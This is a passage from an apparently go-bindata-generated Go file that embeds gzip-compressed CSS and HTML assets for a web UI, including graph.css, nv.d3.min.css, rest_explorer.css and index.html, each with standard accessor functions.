[]byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\x7c\\x8d\\x31\\x0e\\xc2\\x30\\x0c\\x45\\xf7\\x9c\\xc2\\x12\\x2b\\xad\\xd2\\x81\\x25\\x9d\\x39\\x48\\x20\\x9f\\xc6\\x22\\x72\\x23\\x27\\x88\\x4a\\x88\\xbb\\x03\\x29\\x12\\x4c\\xdd\\xfc\\xf4\\x9e\\xed\\x3e\\xb1\\x80\\x1e\\x86\\xe8\\xc2\\x29\\x39\\x92\\x59\\x30\\xbe\\xa9\\x54\\x9d\\xaf\\xe8\\xee\\x1c\\x6a\\x74\\x34\\xf4\\x87\\xbc\\x8c\\xe6\\x69\\x4c\\xeb\\x6d\\x5b\\x58\\x13\\xa7\\x08\\x3f\\x33\\xfc\\x9b\\x53\\xba\\x61\\x55\\x7e\\xe1\\x42\\xd9\\xd7\\xb8\\xff\\xce\\x9b\\x5f\\x1d\\xed\\xac\\xb5\\x8d\\xa3\\xcf\\xe8\\x14\\x12\\xa0\\x2c\\x93\\xa3\\xb3\\x72\\xc9\\xc7\\x30\\xa1\\x7c\\x0e\\xbf\\x02\\x00\\x00\\xff\\xff\\xd9\\x8a\\x57\\x81\\xbd\\x00\\x00\\x00\")\n\nfunc uiCssGraphCssBytes() ([]byte, error) {\n  return bindataRead(\n    _uiCssGraphCss,\n    \"ui/css/graph.css\",\n  )\n}\n\nfunc uiCssGraphCss() (*asset, error) {\n  bytes, err := uiCssGraphCssBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/css/graph.css\", size: 189, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiCssLibsNvd3171NvD3MinCss = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\xcc\\x5a\\x4f\\x6f\\xe3\\xba\\x11\\xff\\x2a\\x2a\\x16\\x05\\x1a\\x40\\x12\\x24\\xc5\\x4e\\x62\\xe9\\xf4\\x5e\\x1b\\xb4\\x87\\x3e\\xa0\\x87\\xa2\\x77\\x5a\\xa2\\x6d\\xc2\\x94\\x28\\x50\\x74\\x6c\\xc7\\xd8\\xef\\x5e\\xfe\\x11\\x25\\x52\\xa4\\x64\\x67\\x91\\xc3\\x83\\x91\\x0d\\x43\\xfe\\x66\\x38\\x1c\\xce\\x5f\\x7a\\xe3\\xe6\\xa3\\x7a\\x0e\\xf8\\xbf\\x11\\xb8\\xa0\\xee\\xd6\\x12\\xd4\\x30\\x48\\x23\\xf8\\x01\\x1b\\xd6\\xe5\\x0d\\x69\\x60\\x41\\x5a\\x50\\x22\\x76\\xcd\\xd3\\x9f\\x36\\x38\\x68\\x01\\x3b\\xdc\\x76\\x08\\x63\\x85\\xeb\\x18\\x25\\x47\\x98\\xff\\x48\\x92\\xa4\\x1f\\x47\\x9a\\x34\\x7e\\x5d\\x17\\xdd\\x01\\xb4\\x30\\xa2\\xb0\\xa9\\x20\\x45\\xcd\\x3e\\x2f\\x29\\xea\\xda\\xf7\\x6a\\x0f\\x3b\\x1f\\xdf\\xb8\\x22\\x35\\x40\\xcd\\xcd\\x65\\x34\\x41\\x8b\\xdf\\x97\\x25\\x92\\x64\\xca\\x1e\\xa3\\x06\\x7a\\xc4\\x86\\x6b\\xf1\\xf9\\x82\\x98\\xf1\\x27\\xa4\\x44\\x72\\x0b\\x3d\\x3b\\xc8\\xd5\\xfb\\xe2\\x0f\\x83\\x3f\\xc0\\xe5\\x0f\\xd4\\x04\\x0c\\x5e\\xd8\\x6d\\x47\\x1a\\x16\\x9d\\x21\\xda\\x1f\\x58\\xfe\\x9a\\x0c\\x07\\xb8\\x2c\\x52\\x69\\x21\\x2e\\xd9\\x63\\xb0\\x3b\\x32\\x88\\x7f\\x22\\xd0\\x94\\x07\\x42\\xf3\\x1a\\x55\\x15\\x86\\x1e\\xc5\\x57\\xa8\\x03\\x5b\\x0c\\xab\\x9b\\x4f\\xd9\\x5b\\x40\\xbb\\x80\\xc2\\x92\\x49\\x65\\x5b\\xb6\\xc0\\x28\\x68\\x3a\\xc4\\x10\\x69\\x72\\x73\\x2d\\xc8\\xd6\\x49\\xad\\xd4\\x07\\x68\\x11\\xd5\\xe4\\x33\\x7a\\x0c\\x79\\x86\\xdb\\x23\\x62\\x0f\\x81\\x7d\\x02\\xc6\\x07\\xf2\\x01\\xa9\\x2d\\x66\\x3a\\x05\\x2a\\xd0\\x78\\xa0\\xfc\\x07\\xa8\\xaa\\x37\\xf8\\x32\\xc5\\xa9\\x1b\\x14\\x00\\xba\\xdf\\x82\\xbf\\x25\\xa1\\xfc\\x3c\\xcd\\xb0\\xf3\\xa2\\x53\\x13\\x5d\\x9f\\x30\\x43\\x9c\\x44\\xfe\\xb1\\xa7\\xe4\\xd4\\x2a\\xa1\\x43\\x17\\xf2\\x2f\\x42\\xd1\\x27\\xb7\\x1d\\x80\\x17\\xc0\\xfc\\xce\\x4a\\x0a\\x19\\xf4\\xb0\\x74\\x5c\\xe7\\x4f\\x72\\x51\\x73\\x2a\\xc8\\xa5\\x0e\\xbf\\xa4\\x08\\x87\\x64\\x41\\x1d\\xf9\\x1d\\xb3\\x98\\x21\\x35\\xbd\\xec\\xae\\x4c\\x3e\\x7f\\x2f\\x5c\\x7b\\xd0\\x51\\xca\\x63\\x52\\xd2\\xa2\\x4e\\x18\\x43\\xc5\\x27\\x4f\\x93\\xf6\\x12\\x74\\x5c\\xbf\\x51\\xc7\\x23\\xd8\\x6e\\x0a\\x52\\x32\\x41\\xd0\\x9d\\x28\\x9c\\x38\\xe6\\xdb\\x12\\x76\\x41\\x19\\x53\\x02\\x40\\x8f\\x1c\\xe9\\x49\\x07\\x67\\x54\\xb1\\x43\\x9e\\xb5\\x97\\x05\\xba\\xff\\x52\\x04\\x9a\\x3d\\x86\\x16\\xbd\\xf2\\xb7\\xdd\\x6e\\x67\\x73\\x4a\\xe3\\xf5\\x0c\\x2f\\x86\\xca\\xa3\\x0a\\xf4\\x9a\\xcd\\xcb\\xcb\\x8b\\x4d\\x3c\\x4b\\xcb\\x6d\\x73\\x0f\\xc5\\xa0\\x4b\\x7a\\x47\\x87\\x10\\xde\\x41\\xa6\\x3d\\xb2\\xaa\\xaa\\x3b\\xc8\\xac\\x47\\x96\\x65\\x39\\x23\\x39\\xe3\\x87\\x97\\x16\\xd1\\xa1\\x4f\\x98\\xa7\\xab\\xf6\\x52\\x78\\x13\\xc2\\x84\\xb0\\x3b\\x6d\\x7b\\x5a\\xc9\\x7f\\xb3\\xd9\\xcc\\x4b\\xd2\\x63\\xb6\\x40\\x7c\\x0a\\xdb\\x0a\\x56\\xf3\\x64\\x3e\\x1b\\x88\\x5f\\x47\\xbc\\x50\\xf8\\x7f\\xf0\\xa9\\xfb\\xbd\\x77\\x08\\xe1\\x18\\xde\\x04\\x70\\x9f\\xe4\\x9e\\xef\\xf5\\xee\\x23\\xf3\\x7e\\xcf\\x66\\xcc\\xe9\\xf3\\x38\\x40\\x21\\xd0\\x26\\x31\\x22\\x35\\x87\\x60\\xf8\\xab\\x2b\\x01\\xe3\\x75\\x90\\xc9\\x42\\x0c\\x65\\x79\\x64\\x0b\\xe5\\xd4\\x3a\\xc6\\xed\\xf4\\x5c\\xe4\\x10\\x09\\xa3\\x56\\x0c\\x1e\\xe0\\x1a\\xaf\\xff\\x82\\xea\\x96\\x50\\x06\\x1a\\xe6\\x14\\x53\\xc6\\xda\\xcf\\xf8\\x8c\\xd8\\xc1\\x88\\xa7\\x5d\\xe0\\x9c\\x7d\\xdc\\xc2\\x08\\xbb\\xa6\\x2b\\x58\\x61\\x37\\xb4\\x77\\x5b\\x8e\\xf4\\xbf\\xc8\\xc5\\xcd\\x02\\xbf\\xc4\\xc8\\x51\\xb4\\xf7\\xd4\\xf1\\x34\\xe2\\xfb\\x01\\x37\\x2b\\x38\\xbc\\x0a\\xa7\\xb3\\x2e\\x64\\xb3\\x74\\x23\\x1b\\xeb\\x4a\\x86\\x9d\\x24\\xfb\\x48\\xd8\\x5e\\x5f\\x2c\\xeb\\x60\\x04\\x00\\x70\\xcc\\xa6\\x18\\x62\\x8d\\xbd\\xb3\\x59\\x52\\x21\\x5e\\x95\\x5e\\xfe\\x2d\\x6c\\xbd\\x3c\\xd1\\x8e\\x57\\x66\\xf0\\xcc\\x4b\\x55\\x11\\x27\\x7e\\x76\\x1f\\x7b\\x89\\x8b\\xf8\\xe0\\x36\\x68\\x98\\x9c\\xca\\x43\\x54\\x02\\x8c\\xc9\\x89\\xa9\\x72\\x57\\x2f\\x9d\\x78\\x76\\xe0\\x19\\x02\\x0b\\x5f\\x53\\x0b\\xc7\\x03\\xab\\xb1\\x67\\xbe\\xee\\x7c\\x93\\xdc\\x10\\x9c\\x59\\x67\\x82\\x67\\xc8\\x16\\x83\\x6b\\xbe\\xc5\\xa4\\x3c\\x16\\x7d\\xd0\\x4e\\x92\\xbf\\x16\\x07\\x15\\xcb\\xc4\\x58\\x1c\\x8f\\x11\\xc2\\x93\\x64\\xab\\x8c\\xf9\\xb9\\x8a\\x78\\x11\\x5e\\x91\\x73\\x38\\xf9\\x3b\\x18\\x91\\x37\\x29\\xc0\\x96\\x5c\\xfa\\xa5\\x3c\\x09\\x78\\x38\\x0f\\x64\\xee\\x33\\x72\\x64\\x9c\\x3d\\x0d\\x07\\x7e\\x08\\xfc\\x45\\x8e\\x94\\x37\\x09\\x3c\\x34\\x56\\xe8\\xd4\\xe5\\x1c\\x5d\\xf4\\x52\\x4d\\xa7\\x9d\\x99\\xfe\\x4a\\x87\\xe4\\x9f\\xaf\\x92\\x24\\x48\\x79\\x62\\x0c\\x7e\\xe3\\xe9\\x0f\\xeb\\x1b\\x1f\\x73\\x81\\x88\\xfa\\x81\\x48\\x05\\x36\\x40\\x06\\xcc\\xf2\\x28\\x2c\\xba\\xa9\\x6e\\x63\\x96\\xf4\\x19\\x90\\x00\\x37\\xe4\\x1f\\x80\\x01\\x33\\xbb\\xbc\\xf9\\xb3\\x4b\\xb4\\xa5\\xa7\\xee\\x10\\xc4\\x5c\\x40\\xe8\\xc4\\xa6\\x34\\xbb\\xd7\\x26\\x69\\x72\\x65\\x9b\\x46\\xa3\\x28\\xcd\\xdb\\x48\\xc9\\xc6\\x41\\x30\\xdc\\x73\\x6e\\x2a\\x95\\x71\\x9e\\xb0\\xd3\\x36\\xde\\xf7\\xa4\\x7e\\xa8\\xee\\x40\\x82\\x12\\xd1\\x12\\x4f\\x2a\\x1a\\xab\\x1b\\x99\\x3f\\x50\\xe2\\x75\\x5e\\x49\\xf0\\xfb\\xa0\\x5d\\xb3\\x40\\xf6\\x14\\x35\\xf1\\xaa\\x98\\x51\\xbf\\x99\\x20\\xc9\\x01\\x97\\x3a\\xd3\\x89\\x12\\xa5\\x1b\\x46\\x76\\xf8\\x49\\xcd\\xd2\\x64\\x9e\\xc8\\x17\\xb9\\xb2\\x07\\x49\\x5b\\x22\\x42\\xef\\xc7\\x58\\x20\\x65\\x25\\x48\\xb2\\xf2\\x21\\xda\\x06\\xee\\x81\\x45\\x5b\\xbd\\x64\\xaf\\xd9\\x9b\\x56\\xde\\x68\\x92\\x73\\x4f\\x04\\xef\\xef\\xef\\x4e\\x0c\\x5d\\x3d\\xd0\\x7a\\xef\\x08\\x85\\x4b\\x9c\\x1d\\xa5\\xab\\x30\\x0c\\x28\\x8f\\x80\\x10\\xff\\x9d\\x70\\x3f\\x44\\x0d\\x60\\xb0\\xf3\\x98\\x83\\xef\\xea\\x74\\xc9\\x98\\xef\\x29\\xb8\\x3e\\xf6\\x34\\xe0\\xd9\\x2c\\xf0\\xf6\\x97\\xb6\\xfd\\x3c\\x0f\\x41\\x21\\xae\\x51\\x27\\xaa\\x85\\xff\\x01\\x7c\\x82\\x9d\\x2c\\x4b\\x66\\x5e\\x2c\\x1c\\x23\\x4c\\xa7\\x6a\\x18\\x26\\x2a\\xc0\\x85\\xa7\\xfc\\x10\\xf9\\x3a\\x34\\xaa\\xaf\\x16\\x41\\x33\\x31\\x7d\\xb1\\xf1\\x0b\\xbf\\xa7\\x88\\xf8\\x76\\xfe\\x5f\\x68\\x32\\x7f\\x6d\\x0b\\x5b\\x81\\xfd\\x6f\\xa7\\x72\\xcf\\x56\\x7d\\x11\\xa1\\xba\\xb6\\x74\\x13\\xa6\\x9b\\x97\\x30\\x5b\\x6d\\xc2\\x78\\xbd\\x79\\x72\\x79\\xf0\\xbb\\x2e\\xa1\\xca\\x09\\xb3\\x37\\x9c\\xcc\\xde\\x9d\\xaf\\x3d\\xe2\\xfb\\x4f\\x0d\\x62\\xb2\\xad\\x7a\\x84\\x18\\x7c\\xc9\\x1b\\xb4\\xb4\\x7c\\x18\\x6c\\x21\\xf6\\xbd\\x10\\xce\\x40\\x3d\\xa5\\xff\\x5c\\xb1\\xfc\\x70\\x5d\\x96\\x25\\xee\\x99\\x62\\xf3\\x4d\\xcd\\xac\\x04\\x4d\\x2e\\x6e\\x23\\xc1\\x93\\x61\\x23\\x8f\\x02\\x4a\\x19\\xcb\\x66\\x0e\\x26\\x32\\x0c\\xbb\\x84\\x7a\\x74\\x5d\\x56\\x40\\xc7\\xdd\\xff\\x28\\x7d\\xd6\\x8e\\x4f\\x1e\\x44\\xcb\\xbb\\x9e\\x40\\xd4\\x6c\\x91\\x94\\x50\\xba\\xfb\\x83\\xcc\\x25\\xa9\\x4d\\x69\\x37\\xbb\\xcf\\xcf\\xcf\\x8b\\x9d\\xb2\\xc5\\x29\\x9c\\x93\\x6d\\x2a\\x0d\\x8f\\x6b\\x86\\xa6\\xe5\\xde\\xbf\\x89\\x7e\\xea\\xf1\\x7e\\xc8\\x39\\xc0\\x45\\x0a\\x3f\\x27\\x81\\x98\\xb9\\x2a\\xc5\\xd8\\x5e\\x50\\x8c\\x5e\\x16\\x6f\\x60\\x6d\\x55\\x30\\xab\\x64\\x71\\x47\\x8b\\x1f\\x77\\x1a\\x5d\\x83\\xf8\\xd1\\x35\\xb8\\xd8\\x78\\x95\\x25\\xfb\\x5c\\x3f\\x4d\\x99\\x1e\\x7a\\xd4\\xd8\\xf4\\x2a\\x53\\xf6\\xf4\\x66\\xda\\xf4\\xd3\\xf3\\x12\\x88\\xe7\\x1b\\xa6\\x78\\x38\\xcf\\x44\\x63\\x19\\x17\\xa7\\xb0\\x36\\xf8\\x30\\x9e\\x81\\x61\\x25\\x9a\\x5d\\xbb\\xf3\\x9d\\xf8\\xb8\\xdb\\x83\\x7c\\x25\\x66\\x7e\\x4f\\x70\\xff\\xb6\\x10\\x7e\\xa7\\x43\\x9c\\x51\\x89\\x2f\\x3c\\xc4\\x1b\\x3f\\x9d\\xb7\\xa7\\xf6\\xb6\\x71\\xb6\\xf1\\xeb\\x9e\\x45\\x95\\x5c\\xfc\\x2c\\x60\\xdb\\x11\\x7c\\x62\\xb0\\x18\\x2b\\xa5\\xa8\\x24\\x98\\xd7\\xba\\x32\\x53\\x64\\xeb\\x75\\xa8\\x7f\\xd2\\xa7\\xc2\\x58\\x19\\x9e\\x03\\x5b\\x50\\x55\\xa2\\x04\\x49\\x87\\xee\\x42\\x0c\\x03\\xce\\x16\\x55\\xd3\\x76\\xe5\\x53\\xb5\\x8d\\xa2\\xd9\\xe2\\x46\\x63\\xb7\\x64\\xd2\\x84\\x76\\xa0\\x46\\xf8\\x9a\\xcb\\xce\\xc2\\x34\\x2a\\x5e\\x93\\x14\\xea\\x6b\\x00\\x8c\\xf6\\x4d\\x8e\\xe1\\x8e\\x15\\xbe\\x2f\\x88\\xce\\x07\\xc4\\xa0\\x30\\xde\\x52\\x3c\\xaa\\x9c\\x29\\x68\\x8b\\xef\\x6d\\x40\\x7d\\xbd\\xa6\\xb7\\x2d\\x9d\\x4e\\x98\\xda\\x1f\\x75\\xed\\x6a\\x39\\x7e\\x7b\\x5a\\x56\\xe3\\xfa\\x69\\xd2\\xc4\\xad\\x54\\x38\\xb5\\x1a\\x57\\xe3\\x15\\x26\\xf4\\xbe\\xcb\\x68\\x51\\x0c\\xb3\\xd6\\x56\\xbb\\xe4\\x43\\x5e\\x8c\\xeb\\x21\\x3e\\xd8\\xb8\\x1c\\x55\\x50\\x5c\\x7b\\x96\\xf0\\xd5\\xe9\\x0e\\xf6\\x9a\\xc3\\xd9\\x5c\\x36\\x0f\\x7d\\x89\\x86\\x71\\x68\\x4c\\x5f\\x23\\xc3\\xe4\\x7b\\x3b\\x7d\\xb3\\xd4\\x15\\x1c\\x9e\\x6f\\x35\\xa0\\x7b\\xd4\\x70\\x7f\\xd1\\x10\\xd1\\xdc\\xca\\xc7\\x4e\\x21\\x7a\\xa4\\x1f\\x08\\xa6\\xfd\\x29\\x8f\\xee\\x73\\x5e\\xb3\\x7a\\x0d\\xf5\\x4f\\xfc\\xba\\xf6\\xfb\\x8d\\x61\\xce\\x25\\x14\\x86\\xac\\xaf\\x75\\x4b\\x18\\x23\\xb5\\x71\\xfb\\x3f\\xe0\\x56\\x7c\\xe6\\x9b\\x7d\\xf9\\x3c\\x90\\x04\\xc9\\x4c\\xd3\\x3f\\x2c\\xdb\\x2b\\xe9\\xb8\\x62\\x2a\\xa4\\x75\\xf5\\xb1\\xd6\\xfa\\x70\\x64\\x36\\x09\\xb9\\xd7\\x35\\x37\\xed\\xd3\\xa8\\x91\\xba\\x53\\xae\\xdd\\x33\\x14\\x8f\\x0a\\xd6\\x56\\x4c\\xf4\\xcb\\x7a\\xbb\\x97\\xf1\\x75\\x42\\xf8\\xaf\\xd8\\xd7\\x05\\x07\\xac\\x1a\\x2e\\x52\\xb0\\xdb\\xf0\\x1f\\xc9\\xb6\\xe0\\xa1\\x93\\x37\\x84\\x00\\xf7\\xe2\\x8d\\xdf\\x13\\x4e\\xe9\\xe3\\x23\\xbc\\xde\\x3c\\x59\\xda\\xc1\\x7d\\xc8\\x4c\\x67\\x1c\\x99\\x0a\\xb8\\xef\\x89\\x62\\x42\\x4a\\xe3\\x03\\x5f\\xc5\\x02\\x61\\xca\\x9b\\xf6\\xf2\\xa6\\x52\\x5e\\xeb\\xb2\\x79\\x6c\\xbf\\x62\\x98\\xcb\\xeb\\x9e\\xac\\x8c\\xf5\\x73\\x3f\\xcf\\x48\\xeb\\x83\\x8b\\x69\\xab\\x63\\x77\\xce\\xa3\\x9e\\x2a\\x94\\x9d\\x46\\xfb\\x13\\xaa\\x60\\x50\\xa1\\x8f\\x9b\\x22\\x12\\xc6\\xdd\\x1b\\xba\\x18\\x3e\\xae\\xcd\\x45\\xae\\xe2\\x1d\\x69\\x78\\x60\\xcb\\x7c\\x09\\x42\\x7f\\x39\\xa0\\xf9\\xf2\\xbe\\x9a\\x70\\xbb\\x1a\\x94\\xf6\\x7c\\xc7\\xea\\xa2\\x96\\xef\\xce\\x81\\xbc\\x17\\xae\\x09\\xbf\\x31\\xef\\x7f\\x1b\\xd0\\x46\\x39\\x79\\x90\\x37\\x4a\\xee\\x7f\\x0a\\xc1\\xe5\\x6b\\xe6\\x6c\\xd9\\xab\\xbe\\x4a\\x17\\x79\\x57\\x60\\xad\\x1a\\x57\\x7c\\x81\\xf2\\xff\\x00\\x00\\x00\\xff\\xff\\x04\\x28\\x3d\\x62\\xbe\\x20\\x00\\x00\")\n\nfunc uiCssLibsNvd3171NvD3MinCssBytes() ([]byte, error) {\n  return bindataRead(\n    _uiCssLibsNvd3171NvD3MinCss,\n    \"ui/css/libs/nvd3/1.7.1/nv.d3.min.css\",\n  )\n}\n\nfunc uiCssLibsNvd3171NvD3MinCss() (*asset, error) {\n  bytes, err := uiCssLibsNvd3171NvD3MinCssBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/css/libs/nvd3/1.7.1/nv.d3.min.css\", size: 8382, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiCssRest_explorerCss = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\x94\\x54\\xdd\\x6f\\xdb\\x36\\x10\\x7f\\xe7\\x5f\\x71\\xc8\\x30\\xa4\\x0d\\xfc\\x91\\xb6\\xdb\\x8b\\x02\\x0c\\x53\\xdc\\x0c\\x13\\x16\\x38\\x83\\xe5\\xac\\xe8\\x23\\x45\\x9d\\x24\\xa2\\x14\\x8f\\x23\\xa9\\xc8\\xc6\\xb0\\xff\\x7d\\x47\\xc9\\xd9\\x9a\\x64\\x5f\\xf5\\x93\\x8f\\xbc\\xbb\\xdf\\xc7\\x1d\\xb5\\xbe\\xb8\\x10\\x1b\\x72\\x47\\xaf\\xdb\\x2e\\xc2\\xdb\\xcb\\x37\\xdf\\xc0\\xbe\\x43\\xd8\\x90\\xfa\\xe4\\x49\\xaa\\x0e\\xf2\\x21\\x76\\xe4\\xc3\\x4a\\x88\\x5b\\xad\\xd0\\x06\\xac\\x61\\xb0\\x35\\x7a\\x88\\x9c\\x96\\x3b\\x4e\\x41\\x38\\xdd\\x2c\\xe0\\x17\\xf4\\x41\\x93\\x85\\xb7\\xab\\x4b\\x78\\x95\\x12\\xce\\x4e\\x57\\x67\\xaf\\xaf\\xc4\\x91\\x06\\xe8\\xe5\\x11\\x2c\\x45\\x18\\x02\\x72\\x03\\x1d\\xa0\\xd1\\x06\\x01\\x0f\\x0a\\x5d\\x04\\x6d\\x41\\x51\\xef\\x8c\\x96\\x56\\x21\\x8c\\x3a\\x76\\x13\\xc8\\xa9\\xc5\\x4a\\x7c\\x3c\\x35\\xa0\\x2a\\x4a\\xce\\x95\\x9c\\xed\\x38\\x6a\\x3e\\xcf\\x02\\x19\\x85\\x00\\xfe\\x75\\x31\\xba\\x6c\\xbd\\x1e\\xc7\\x71\\x25\\x27\\x96\\x2b\\xf2\\xed\\xda\\xcc\\x59\\x61\\x7d\\x5b\\x6c\\x6e\\xb6\\xe5\\xcd\\x92\\x99\\x0a\\x71\\x6f\\x0d\\x86\\x00\\x1e\\x7f\\x1d\\xb4\\x67\\x81\\xd5\\x11\\xa4\\x63\\x1e\\x4a\\x56\\xcc\\xce\\xc8\\x11\\xc8\\x83\\x6c\\x3d\\xf2\\x5d\\xa4\\xc4\\x73\\xf4\\x3a\\x6a\\xdb\\x2e\\x20\\x50\\x13\\x47\\xe9\\x51\\xd4\\x3a\\x44\\xaf\\xab\\x21\\x3e\\x31\\xe8\\x91\\x15\\x2b\\xfd\\x3c\\x81\\x2d\\x92\\x16\\xce\\xf2\\x12\\x8a\\xf2\\x0c\\xae\\xf3\\xb2\\x28\\x17\\xe2\\x43\\xb1\\xff\\xf1\\xee\\x7e\\x0f\\x1f\\xf2\\xdd\\x2e\\xdf\\xee\\x8b\\x9b\\x12\\xee\\x76\\xb0\\xb9\\xdb\\xbe\\x2f\\xf6\\xc5\\xdd\\x96\\xa3\\x1f\\x20\\xdf\\x7e\\x84\\x9f\\x8a\\xed\\xfb\\x05\\x20\\xdb\\xc3\\x20\\x78\\x70\\x3e\\x71\\x27\\x2f\\x74\\xb2\\x0e\\xeb\\x15\\x94\\x88\\x4f\\xc0\\x1b\\x9a\\xc9\\x04\\x87\\x4a\\x37\\x5a\\xb1\\x22\\xdb\\x0e\\xb2\\x45\\x68\\xe9\\x01\\xbd\\x65\\x21\\xc2\\xa1\\xef\\x75\\x48\\xc3\\x0b\\x4c\\xad\\x06\\xa3\\x7b\\x1d\\x65\\x9c\\xe2\\x17\\x72\\xfe\\x82\\xc8\\xef\\x99\\xf3\\xae\\x9c\\xc6\\x28\\x12\\x8e\\x95\\x3d\\x86\\x34\\x13\\x45\\x76\\x96\\x3b\\x2f\\xcf\\xbc\\x46\\x19\\xe4\\xb6\\xf6\\x38\\xc2\\x35\\xd9\\x07\\xe4\\x04\\x84\\x57\\x8c\\x76\\xac\\x18\\xe6\\xfb\\xb6\\x97\\xda\\xac\\x78\\x03\\x5e\\x8b\\x8b\\xb5\\x58\\xb1\\xac\\x78\\x73\\x70\\x86\\x3c\\xfa\\xc5\\xd3\\x70\\x93\\x7a\\x93\\x09\\xcf\\x8e\\x6f\\xa9\\x85\\xdf\\x78\\xf8\\x1d\\xa6\\x65\\xce\\xe0\\xcd\\xe5\\xe5\\xd7\\x57\\xe2\\xf7\\x2f\\xaa\\x6d\\x0c\\x49\\x2e\\x35\\xd8\\xc4\\x2b\\x0e\\x9d\\xac\\x6b\\xb6\\x27\\xf5\\x72\\x07\\x7e\\x1e\\xee\\x90\\x4e\\x47\\x5d\\xc7\\x2e\\x83\\x6f\\xff\\xa5\\xfd\\xd4\\xac\\x92\\xea\\x53\\xeb\\x89\\xfd\\x5b\\x2a\\x32\\x49\\xfe\\x57\\x4d\\xd3\\xfc\\x63\\xcd\\x52\\xcd\\x7f\\xa6\\xda\\x5e\\xfa\\x56\\xdb\\x65\\x45\\x31\\x52\\x9f\\x9d\\xa0\\xff\\xab\\xf0\\x3b\\xe8\\xde\\xcd\\x32\\xf8\\x60\\x39\\x9e\\x7c\\xb0\\xe4\\x7b\\x69\\x12\\xf1\\x88\\x87\\xb8\\x8c\\x5e\\xda\\xc0\\xb3\\xe2\\xae\\x83\\xe3\\xb9\\x2b\\x19\\xf0\\xea\\x25\\xe2\\xbb\\xff\\x03\\xa8\\xad\\x1b\\xe2\\x9f\\x88\\x19\\xc7\\xbc\\x94\\x3a\\xbe\\x28\\x7c\\xb4\\xd7\\x51\\xd0\\x69\\xa9\\x32\\x7e\\x6c\\x86\\xd7\\xeb\\x61\\x42\\x9e\\xd8\\x36\\xb2\\xd7\\xe6\\x98\\xc1\\x79\\x49\\x83\\x57\\xe9\\x13\\x54\\x23\\xfc\\xec\\xe9\\x7c\\x01\\xe7\\x1b\\x3e\\xd2\\xbc\\x83\\x5b\\x1c\\x39\\x3c\\x45\\x0b\\xe8\\xc9\\x52\\xe0\\xc7\\x8d\\x7f\\x87\\xb7\\x54\\x06\\xa5\\xbf\\x1e\\x58\\x8d\\x7d\\x86\\x2d\\xab\\x40\\x86\\x1f\\x62\\xc2\\xf6\\xb3\\x47\\x8f\\xa3\\x8d\\xe4\\xe6\\x61\\xa7\\x96\\x7f\\x04\\x00\\x00\\xff\\xff\\x29\\xec\\xd5\\x5f\\x1d\\x05\\x00\\x00\")\n\nfunc uiCssRest_explorerCssBytes() ([]byte, error) {\n  return bindataRead(\n    _uiCssRest_explorerCss,\n    \"ui/css/rest_explorer.css\",\n  )\n}\n\nfunc uiCssRest_explorerCss() (*asset, error) {\n  bytes, err := uiCssRest_explorerCssBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/css/rest_explorer.css\", size: 1309, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiIndexHtml = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\x94\\x55\\x51\\x93\\x9b\\x36\\x10\\x7e\\xe7\\x57\\x6c\\xe8\\x83\\x93\\x89\\x0d\\xbe\\x5c\\x3a\\x6d\\xaf\\xf6\\xb5\\xc4\\x71\\x1b\\x4f\\x53\\xae\\x63\\x7c\\xcd\\xe4\\xa9\\x23\\xc3\\x02\\x4a\\x84\\x44\\x25\\x61\\x1f\\x33\\xfd\\xf1\\x5d\\x01\\xbe\\xf8\\x5a\\x2e\\x93\\xf8\\xc5\\x48\\xfb\\xed\\xee\\xb7\\xbb\\xdf\\xc2\\xe2\\xc9\\x6c\\xe6\\xad\\x54\\xdd\\x6a\\x5e\\x94\\x16\\x5e\\xcc\\x2f\\x5e\\xc2\\xae\\x44\\x58\\xa9\\xf4\\xa3\\x56\\x2c\\x2d\\x21\\x6a\\x6c\\xa9\\xb4\\x09\\x3c\\xef\\x2d\\x4f\\x51\\x1a\\xcc\\xa0\\x91\\x19\\x6a\\xb0\\x04\\x8b\\x6a\\x82\\x20\\x0c\\x96\\x29\\xfc\\x89\\xda\\x70\\x25\\xe1\\x45\\x30\\x87\\xa7\\x0e\\xe0\\x0f\\x26\\xff\\xd9\\x8f\\x5e\\xab\\x1a\\xa8\\x58\\x0b\\x52\\x59\\x68\\x0c\\x52\\x00\\x6e\\x20\\xe7\\x02\\x01\\xef\\x52\\xac\\x2d\\x70\\x09\\xa9\\xaa\\x6a\\xc1\\x99\\x4c\\x11\\x8e\\xdc\\x96\\x5d\\x92\\x21\\x44\\xe0\\xbd\\x1f\\x02\\xa8\\xbd\\x65\\x84\\x65\\x84\\xae\\xe9\\x94\\x9f\\xa3\\x80\\x59\\xcf\\x03\\xfa\\x95\\xd6\\xd6\\x57\\x61\\x78\\x3c\\x1e\\x03\\xd6\\xb1\\x0c\\x94\\x2e\\x42\\xd1\\xa3\\x4c\\xf8\\x76\\xb3\\x5a\\xc7\\xc9\\x7a\\x46\\x4c\\x3d\\xef\\x56\\x0a\\x34\\x06\\x34\\xfe\\xdd\\x70\\x4d\\x05\\xee\\x5b\\x60\\x35\\xf1\\x48\\xd9\\x9e\\xd8\\x09\\x76\\x04\\xa5\\x81\\x15\\x1a\\xc9\\x66\\x95\\xe3\\x79\\xd4\\xdc\\x72\\x59\\x4c\\xc1\\xa8\\xdc\\x1e\\x99\\x46\\x2f\\xe3\\xc6\\x6a\\xbe\\x6f\\xec\\x83\\x06\\x9d\\x58\\x51\\xa5\\xe7\\x00\\x6a\\x11\\x93\\xe0\\x47\\x09\\x6c\\x12\\x1f\\x5e\\x45\\xc9\\x26\\x99\\x7a\\xef\\x36\\xbb\\x37\\x37\\xb7\\x3b\\x78\\x17\\x6d\\xb7\\x5